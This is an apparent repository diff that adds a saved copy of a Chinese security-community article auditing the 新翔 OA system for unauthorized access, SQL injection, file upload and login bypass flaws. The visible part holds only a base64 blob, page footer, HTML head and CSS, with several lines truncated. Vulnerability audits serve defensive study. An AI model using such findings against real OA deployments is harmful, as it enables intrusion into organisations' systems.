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 truncated
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-04-30 09:00:02
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,342 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/13707
|
||||
--><meta charset=utf-8>
|
||||
<title>记录一次某OA代码审计(新翔OA管理系统-未授权+SQL注入+文件上传+登录绕过)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h2,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}pre{display:block;margin:0 0 10px;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,Line truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body img{-moz-box-sizing:border-box}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLjEsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.brand-box{left:15px}}@media screen and (min-width:768px) and (max-width:1219px){}@media only screen and (min-width:320px) and (max-width:374px){}@media onlLine truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.user-info{padding:5px 0 5px 0}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}img{max-width:100%}form{margin:0 !important}a:focus{text-decoration:none}.box ul,ol{margin-bottom:0px !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h2{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px !important;padding-right:0px !important}}.content-node{padding-left:5px}@media(max-width:979px){.content-node{display:none}.t-vote{display:none !important}}@media(max-width:376px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}</style>
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/.pull-right{float:right}.pull-left{float:left}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica 